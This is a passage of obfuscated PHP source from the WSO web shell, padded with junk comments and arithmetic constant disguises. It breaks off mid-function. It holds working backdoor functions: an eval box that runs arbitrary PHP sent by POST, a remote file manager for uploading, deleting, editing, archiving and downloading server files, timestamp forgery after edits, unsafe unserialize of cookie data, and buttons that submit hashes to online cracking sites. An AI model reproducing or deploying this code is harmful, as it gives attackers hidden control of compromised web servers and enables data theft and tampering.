    if (isset($_POST['p2']) && ($_POST['p2'] == /* <Peter>: ,   -, ?! */
            'info')
    ) {
        echo /* <Avon>:   ? */
        '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', '!td, th {(.*)}!msiU', '!<img[^>]+>!msiU',), array('', '.e, .v, .h, .h th {$1}', ''), $tmp);
        echo /* <Peter>: ,   ,   ,    ?   ,   !   , ! */
            str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    echo /* <Avon>:   48 , ,    !  ? */
        '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
    echo /* <Peter>: ,    ! */
        ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
    if (!empty($_POST['p1'])) {
        ob_start();
        eval($_POST['p1']);
        echo /* <Avon>:   ??? ? */
        htmlspecialchars(ob_get_clean());
    }
    echo /* <Peter>:    !!! */
    '</pre></div>';
    wsoFooter();
}

function /* <Avon>:     ! */
actionFilesMan()
{
    if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    if (!empty($_POST['p1'])) {
        switch ($_POST['p1']) {
            case /* <Peter>:    ! */
            'uploadFile':
                if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo /* <Avon>: ,   ,  ! */
                "Can't upload file!";
                break;
            case /* <Peter>: , , ? */
            'mkdir':
                if (!@mkdir($_POST['p2'])) echo /* <Avon>:  ,      ! */
                "Can't create new dir";
                break;
            case /* <David Blaine>: . ,   ? */
            'delete':
                function /* <Peter>:    ! ,   ?  - ! */
                deleteDir($path)
                {
                    $path = (substr($path, -round(0 + 1)) == '/') ? $path : $path . '/';
                    $dh = opendir($path);
                    while (($item = readdir($dh)) !== /* <David Blaine>:  ?  -  ? */
                        false) {
                        $item = $path . $item;
                        if ((basename($item) == /* <Peter>:   ?  , ? */
                                "..") || (basename($item) == /* <Peter>: !!! -! */
                                ".")
                        ) continue;
                        $type = filetype($item);
                        if ($type /* <Peter>: !!! ! ! ! */
                            == /* <Peter>:   ?    ,   ? */
                            "dir"
                        ) deleteDir($item); else@unlink($item);
                    }
                    closedir($dh);
                    @rmdir($path);
                }

                if (is_array(@$_POST['f'])) foreach ($_POST['f'] as /* <Avon>:      ! */
                                                     $f) {
                    if ($f /* <Peter>:   ,   ! */
                        == /* <Avon>:  ,      ! */
                        '..'
                    ) continue;
                    $f = urldecode($f);
                    if (is_dir($f)) deleteDir($f); else@unlink($f);
                }
                break;
            case /* <Peter>:    ,     , , ,    ! */
            'paste':
                if ($_COOKIE['act'] == /* <David Blaine>:  -, , ,     -  ... */
                    'copy'
                ) {
                    function /* <Peter>: ! */
                    copy_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== /* <Avon>: , ,   ! */
                                false) if (($f /* <David Blaine>: ,   ,  ... */
                                    != /* <Avon>:    ! */
                                    ".")and($f /* <Peter>: ,    ,   ,   . */
                                    != /* <Avon>:     ,   ! */
                                    "..")
                            ) copy_paste($c . $s . '/', $f, $d . $s . '/');
                        } elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
                    }

                    foreach ($_COOKIE['f'] as /* <David Blaine>:   , ? */
                             $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                } elseif ($_COOKIE['act'] == /* <Peter>:     , , ,     ! */
                    'move'
                ) {
                    function /* <Avon>: !  ! */
                    move_paste($c, $s, $d)
                    {
                        if (is_dir($c . $s)) {
                            mkdir($d . $s);
                            $h = @opendir($c . $s);
                            while (($f = @readdir($h)) !== /* <Peter>: !! */
                                false) if (($f /* <Avon>:     ! */
                                    != /* <Peter>: !!! */
                                    ".")and($f /* <Peter>:  , , ? ,    ,   ! */
                                    != /* <Avon>:     !     - !     ?  ,   !  ,  ! */
                                    "..")
                            ) copy_paste($c . $s . '/', $f, $d . $s . '/');
                        } elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
                    }

                    foreach ($_COOKIE['f'] as /* <Peter>:      ! */
                             $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                } elseif ($_COOKIE['act'] == /* <Avon>:      ! */
                    'zip'
                ) {
                    if (class_exists('ZipArchive')) {
                        $zip = new /* <Peter>:    ,   ! */
                        ZipArchive();
                        if ($zip->open($_POST['p2'], round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333))) {
                            chdir($_COOKIE['c']);
                            foreach ($_COOKIE['f'] as /* <David Blaine>: , , ,   ,   ... */
                                     $f) {
                                if ($f /* <Peter>:   ,     ! */
                                    == /* <David Blaine>: , , , , . , ! */
                                    '..'
                                ) continue;
                                if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f); elseif (@is_dir($_COOKIE['c'] . $f)) {
                                    $iterator = new /* <David Blaine>:        ,     . */
                                    RecursiveIteratorIterator(new /* <David Blaine>:       ,      . */
                                    RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator /* <Peter>:    ? */
                                             as /* <Avon>:     ! */
                                             $key => $value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
                } elseif ($_COOKIE['act'] == /* <Peter>: ! ,   . */
                    'unzip'
                ) {
                    if (class_exists('ZipArchive')) {
                        $zip = new /* <David Blaine>:   ? */
                        ZipArchive();
                        foreach ($_COOKIE['f'] as /* <Peter>:  , ... */
                                 $f) {
                            if ($zip->open($_COOKIE['c'] . $f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
                } elseif ($_COOKIE['act'] == /* <Peter>:    ? */
                    'tar'
                ) {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
                }
                unset($_COOKIE['f']);
                setcookie('f', '', time() - round(0 + 1800 + 1800));
                break;
            default:
                if (!empty($_POST['p1'])) {
                    __WSO__setcookie('act', $_POST['p1']);
                    __WSO__setcookie('f', serialize(@$_POST['f']));
                    __WSO__setcookie('c', @$_POST['c']);
                }
                break;
        }
    }
    wsoHeader();
    echo /* <Avon>:    . */
    '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
    $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
    if ($dirContent /* <Peter>:      ,  ? */
        === /* <David Blaine>:    ? */
        false
    ) {
        echo /* <Peter>:  . */
        'Can\'t open this folder!';
        wsoFooter();
        return;
    }
    global /* <David Blaine>: ...   ,  ,    ' ,   '. */
    $sort;
    $sort = array('name', round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333));
    if (!empty($_POST['p1'])) {
        if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array($match[round(0 + 0.25 + 0.25 + 0.25 + 0.25)], (int)$match[round(0 + 2)]);
    }
    echo /* <Peter>:  ,  - ... */
        "<script>
                            function sa() {
                                for(i=0;i<d.files.elements.length;i++)
                                    if(d.files.elements[i].type == 'checkbox')
                                        d.files.elements[i].checked = d.files.elements[0].checked;
                            }
                        </script>
                        <table width='100%' class='main' cellspacing='0' cellpadding='2'>
                            <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[round(0 + 0.25 + 0.25 + 0.25 + 0.25)] ? round(0) : round(0 + 1)) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[round(0 + 0.5 + 0.5)] ? round(0) : round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? round(0) : round(0 + 1)) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[round(0 + 0.5 + 0.5)] ? round(0) : round(0 + 0.25 + 0.25 + 0.25 + 0.25)) . "\")'>Permissions</a></th><th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);
    for ($i = round(0); $i < $n; $i++) {
        $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
        $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
        $tmp = array('name' => /* <David Blaine>:   ,  . */
        $dirContent[$i], 'path' => /* <Avon>: -  - ... */
        $GLOBALS['cwd'] . $dirContent[$i], 'modify' => /* <Peter>:    ,  ,  ...        .    - . */
        date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => /* <Avon>:     . */
        wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => /* <Peter>:     ,  ? */
        $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => /* <Avon>:      . */
        $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
        if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array('type' => /* <David Blaine>: < :>   .    . */
        'file')); elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => /* <Peter>:   !! */
        'link', 'link' => /* <Avon>:     ?!!!! */
        readlink($tmp['path']))); elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array('type' => /* <Avon>:       !! */
        'dir'));
    }
    $GLOBALS['sort'] = $sort;
    function /* <Peter>:   !!! */
    wsoCmp($a, $b)
    {
        if ($GLOBALS['sort'][round(0)] != /* <Peter>:    ,    -, ?!!! */
            'size'
        ) return /* <Avon>: ,  ! */
            strcmp(strtolower($a[$GLOBALS['sort'][round(0)]]), strtolower($b[$GLOBALS['sort'][round(0)]])) * ($GLOBALS['sort'][round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)] ? round(0 + 0.25 + 0.25 + 0.25 + 0.25) : -round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)); else /* <Peter>: ,   , ,      ,   , ! */
        return (($a['size'] < $b['size']) ? -round(0 + 0.25 + 0.25 + 0.25 + 0.25) : round(0 + 0.25 + 0.25 + 0.25 + 0.25)) * ($GLOBALS['sort'][round(0 + 0.5 + 0.5)] ? round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2) : -round(0 + 0.5 + 0.5));
    }

    usort($files, "wsoCmp");
    usort($dirs, "wsoCmp");
    $files = array_merge($dirs, $files);
    $l = round(0);
    foreach ($files /* <Peter>:  ,     ,    ! */
             as /* <Peter>:  , !    ! */
             $f) {
        echo /* <Operator>:    ... */
            '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
        $l = $l ? round(0) : round(0 + 0.5 + 0.5);
    }
    echo /* <David Blaine>: ... */
        "<tr><td colspan=7>
                                                                                                                    <input type=hidden name=a value='FilesMan'>
                                                                                                                    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
                                                                                                                    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
                                                                                                                    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if (class_exists('ZipArchive')) echo /* <Peter>:    ! */
    "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo /* <Peter>:    !!! */
    "<option value='tar'>Compress (tar.gz)</option>";
    if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo /* <=====end of part=====> */
    "<option value='paste'>Paste / Compress</option>";
    echo /* <David Blaine>: ,   ... */
    "</select>&nbsp;";
    if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == /* <David Blaine>: , ,   ,   */
                    'zip') || ($_COOKIE['act'] == /* <Avon>: !! */
                    'tar'))
    ) echo /* <David Blaine>:   ? */
        "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == /* <Peter>: ,  ! */
        'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
    echo /* <Avon>: , !          !! */
    "<input type='submit' value='>>'></td></tr></form></table></div>";
    wsoFooter();
}

function /* <Avon>:   ! */
actionStringTools()
{
    if (!function_exists('hex2bin')) {
        function /* <Peter>:  ! .  ,   , , .   ,   ! */
        hex2bin($p)
        {
            return /* <Avon>: ..., ...   .   , ? */
                decbin(hexdec($p));
        }
    }
    if (!function_exists('binhex')) {
        function /* <David Blaine>:  .     ? */
        binhex($p)
        {
            return /* <Peter>:  ?  ! */
                dechex(bindec($p));
        }
    }
    if (!function_exists('hex2ascii')) {
        function /* <David Blaine>: , ...  , ? */
        hex2ascii($p)
        {
            $r = '';
            for ($i = round(0); $i < strLen($p); $i += round(0 + 2)) {
                $r .= chr(hexdec($p[$i] . $p[$i + round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)]));
            }
            return /* <Peter>: ?   !..   !!  ? */
                $r;
        }
    }
    if (!function_exists('ascii2hex')) {
        function /* <Avon>:   ? */
        ascii2hex($p)
        {
            $r = '';
            for ($i = round(0); $i < strlen($p); ++$i) $r .= /* <Peter>:    ,   -  ?? */
                sprintf('%02X', ord($p[$i]));
            return /* <David Blaine>:    . */
                strtoupper($r);
        }
    }
    if (!function_exists('full_urlencode')) {
        function /* <Avon>:       ? */
        full_urlencode($p)
        {
            $r = '';
            for ($i = round(0); $i < strlen($p); ++$i) $r .= /* <Peter>:    ,  ,   ?       !    ! */
                '%' . dechex(ord($p[$i]));
            return /* <Avon>:  .     ! - -,     ,  ? */
                strtoupper($r);
        }
    }
    $stringTools = array('Base64 encode' => /* <Avon>: , -   ,  ... ,     ,  !  ,  ! */
    'base64_encode', 'Base64 decode' => /* <Peter>: ,       ,  - ,  ,  ,   ... */
    'base64_decode', 'Url encode' => /* <Peter>:    ,  ! ! */
    'urlencode', 'Url decode' => /* <Avon>:   ,      !    ! */
    'urldecode', 'Full urlencode' => /* <Peter>:   , ! */
    'full_urlencode', 'md5 hash' => /* <Avon>: !   ... */
    'md5', 'sha1 hash' => /* <Peter>:  , -  ,       -!  !   !    ,      ,  ,  ! */
    'sha1', 'crypt' => /* <David Blaine>:  , , .    :     ,    ,      . */
    'crypt', 'CRC32' => /* <Peter>:        ? ,    !   ! */
    'crc32', 'ASCII to HEX' => /* <Avon>: !  ! -  - ! */
    'ascii2hex', 'HEX to ASCII' => /* <Peter>:       ,   -?! */
    'hex2ascii', 'HEX to DEC' => /* <Avon>:     ?   ??     -?!   !   !! ,    , ! */
    'hexdec', 'HEX to BIN' => /* <David Blaine>:  . . */
    'hex2bin', 'DEC to HEX' => /* <Peter>: ...... */
    'dechex', 'DEC to BIN' => /* <Avon>:   ?  - ... ?   !  ? */
    'decbin', 'BIN to HEX' => /* <Peter>:    ,     ! */
    'binhex', 'BIN to DEC' => /* <Avon>: ?      ! */
    'bindec', 'String to lower case' => /* <Peter>:    ,  ,   ,   ! */
    'strtolower', 'String to upper case' => /* <Peter>:     !  ,  -...     ! */
    'strtoupper', 'Htmlspecialchars' => /* <Avon>:      ? */
    'htmlspecialchars', 'String length' => /* <Peter>:  ,   , ,    ,     ! */
    'strlen',);
    if (isset($_POST['ajax'])) {
        __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        if (in_array($_POST['p1'], $stringTools)) echo /* <Peter>:     , ??! */
        $_POST['p1']($_POST['p2']);
        $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
        echo /* <Avon>:  ,   ! */
        strlen($temp), "
", $temp;
        exit;
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
    wsoHeader();
    echo /* <Peter>:    . */
    '<h1>String conversions</h1><div class=content>';
    echo /* <Avon>:  ? */
    "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
    foreach ($stringTools /* <Avon>:  ...     , , ! */
             as /* <Peter>: , ,  ! , , ! - ! */
             $k /* <Policeman>: <to operator>  . */
    => /* <Peter>:    ! */
             $v) echo /* <Avon>:  ,   ,    ! */
        "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
    echo /* <Peter>:   - ! */
        "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
    if (!empty($_POST['p1'])) {
        if (in_array($_POST['p1'], $stringTools)) echo /* <Policeman>: -.  ,   ? */
        htmlspecialchars($_POST['p1']($_POST['p2']));
    }
    echo "</pre></div><br><h1>Search files:</h1><div class=content>
    <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
        <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
        <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
        <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
        <tr><td></td><td><input type='submit' value='>>'></td></tr>
    </table></form>";
    function /* <Avon>:   ,      ,   ,       , !   ,   ,  ? */
    wsoRecursiveGlob($path)
    {
        if (substr($path, -round(0 + 0.5 + 0.5)) != /* <Policeman>: ,   ... <to David Blayne> , ,      . */
            '/'
        ) $path .= '/';
        $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
        if (is_array($paths) && @count($paths)) {
            foreach ($paths /* <Avon>: ! */
                     as /* <Peter>:     ,       ,      !   ,       ,            !!! */
                     $item) {
                if (@is_dir($item)) {
                    if ($path != $item) wsoRecursiveGlob($item);
                } else {
                    if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo /* <Avon>:   ! */
                        "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
                }
            }
        }
    }

    if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
    echo /* <Peter>:   ! */
    "</div><br><h1>Search for hash:</h1><div class=content>
    <form method='post' target='_blank' name='hf'>
        <input type='text' name='hash' style='width:200px;'><br>
        <input type='hidden' name='act' value='find'/>
        <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
        <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
        <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
    </form></div>";
    wsoFooter();
}

function /* <Avon>:        ,   ! */
actionFilesTools()
{
    if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
    if (@$_POST['p2'] == 'download') {
        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", round(0 + 819.2 + 819.2 + 819.2 + 819.2 + 819.2));
            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            } else /* <Policeman>:  ...   .   . */
            header("Content-Type: application/octet-stream");
            $fp = @fopen($_POST['p1'], "r");
            if ($fp) {
                while (!@feof($fp)) echo @fread($fp, round(0 + 512 + 512));
                fclose($fp);
            }
        }
        exit;
    }
    if (@$_POST['p2'] == /* <Peter>: ...r g u f a n... */
        'mkfile'
    ) {
        if (!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if ($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    wsoHeader();
    echo /* <Avon>: Peter Peszynski */
    '<h1>File tools</h1><div class=content>';
    if (!file_exists(@$_POST['p1'])) {
        echo /* <Peter>:    ! */
        'File not exists';
        wsoFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if (!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @filegroup($_POST['p1']);
    } else /* <Peter>:   , ,      , ,  ,   ! */
    $gid = @posix_getgrgid(@filegroup($_POST['p1']));
    echo /* <Avon>:     ! */
        '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
    echo /* <David Blaine>: <in the policeman's suit> ...  ,      ... */
        '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
    if (empty($_POST['p2'])) $_POST['p2'] = 'view';
    if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); else /* <Peter>:    ,   !!! */
    $m = array('Chmod', 'Rename', 'Touch');
    foreach ($m /* <Peter>:   , !!!   ! */
             as /* <=====end of part=====> */
             $v) echo /* <=====street magic=====> */
        '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
    echo /* <David Blaine>: ,   ... */
    '<br><br>';
    switch ($_POST['p2']) {
        case /* <Peter>: !! */
        'view':
            echo /* <Avon>: , ,  , ! */
            '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) echo /* <David Blaine>:   ,  . */
                htmlspecialchars(@fread($fp, round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)));
                @fclose($fp);
            }
            echo /* <David Blaine>:     ? */
            '</pre>';
            break;
        case /* <Avon>:   ,  -? , ! */
        'highlight':
            if (@is_readable($_POST['p1'])) {
                echo /* <Peter>:    , ,   , ! */
                '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = @highlight_file($_POST['p1'], true);
                echo /* <David Blaine>:    ? */
                    str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
            }
            break;
        case /* <Peter>:     ! */
        'chmod':
            if (!empty($_POST['p3'])) {
                $perms = round(0);
                for ($i = strlen($_POST['p3']) - round(0 + 0.25 + 0.25 + 0.25 + 0.25); $i >= round(0); --$i) $perms /* <Avon>:    ,     . */
                    += /* <David Blaine>:   ? */
                    (int)$_POST['p3'][$i] * pow(round(0 + 1.6 + 1.6 + 1.6 + 1.6 + 1.6), (strlen($_POST['p3']) - $i - round(0 + 0.5 + 0.5)));
                if (!@chmod($_POST['p1'], $perms)) echo /* <Avon>:    ,     ! */
                'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
            }
            clearstatcache();
            echo /* <Peter>:  ! */
                '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -round(0 + 1.3333333333333 + 1.3333333333333 + 1.3333333333333)) . '"><input type=submit value=">>"></form>';
            break;
        case /* <David Blaine>: ...   ,      ,  ? */
        'edit':
            if (!is_writable($_POST['p1'])) {
                echo /* <Avon>: ,  ! */
                'File isn\'t writeable';
                break;
            }
            if (!empty($_POST['p3'])) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'], round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2));
                $fp = @fopen($_POST['p1'], "w");
                if ($fp) {
                    @fwrite($fp, $_POST['p3']);
                    @fclose($fp);
                    echo /* <Avon>:  !! */
                    'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['p1'], $time, $time);
                }
            }
            echo /* <Peter>:   ! */
                '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) echo /* <Peter>: ,   -, ?! */
                htmlspecialchars(@fread($fp, round(0 + 1024)));
                @fclose($fp);
            }
            echo /* <Avon>:   ? */
            '</textarea><input type=submit value=">>"></form>';
            break;
        case /* <Peter>: ,   ,   ,    ?   ,   !   , ! */
        'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = round(0);
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = round(0); $i < $len; ++$i) {
                $h[round(0 + 0.5 + 0.5)] .= /* <Avon>:   48 , ,    !  ? */
                    sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case /* <Peter>: ,    ! */
                    round(0):
                        $h[round(0 + 0.66666666666667 + 0.66666666666667 + 0.66666666666667)] .= /* <Avon>:   ??? ? */
                            ' ';
                        break;
                    case /* <Peter>:    !!! */
                    round(0 + 4.5 + 4.5):
                        $h[round(0 + 2)] .= /* <Avon>:     ! */
                            ' ';
                        break;
                    case /* <Peter>:    ! */
                    round(0 + 5 + 5):
                        $h[round(0 + 0.4 + 0.4 + 0.4 + 0.4 + 0.4)] .= /* <Avon>: ,   ,  ! */
                            ' ';
                        break;
                    case /* <Peter>: , , ? */
                    round(0 + 2.6 + 2.6 + 2.6 + 2.6 + 2.6):
                        $h[round(0 + 2)] .= /* <Avon>:  ,      ! */
                            ' ';
                        break;
                    default:
                        $h[round(0 + 1 + 1)] .= /* <David Blaine>: . ,   ? */
                            $c[$i];
                        break;
                }
                $n++;
                if ($n /* <Peter>:    ! ,   ?  - ! */
                    == /* <David Blaine>:  ?  -  ? */
                    round(0 + 8 + 8 + 8 + 8)
                ) {
                    $n = round(0);
                    if ($i + round(0 + 0.25 + 0.25 + 0.25 + 0.25) < $len) {
                        $h[round(0)] .= /* <Peter>:   ?  , ? */
                            sprintf('%08X', $i + round(0 + 0.25 + 0.25 + 0.25 + 0.25)) . '<br>';
                    }
                    $h[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] .= /* <Peter>: !!! -! */
                        '<br>';
                    $h[round(0 + 2)] .= /* <Peter>: !!! ! ! ! */
                        "
";
                }
            }
            echo /* <Peter>:   ?    ,   ? */
                '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[round(0)] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[round(0 + 1 + 1)]) . '</pre></td></tr></table>';
            break;
        case /* <Avon>:      ! */
        'rename':
            if (!empty($_POST['p3'])) {
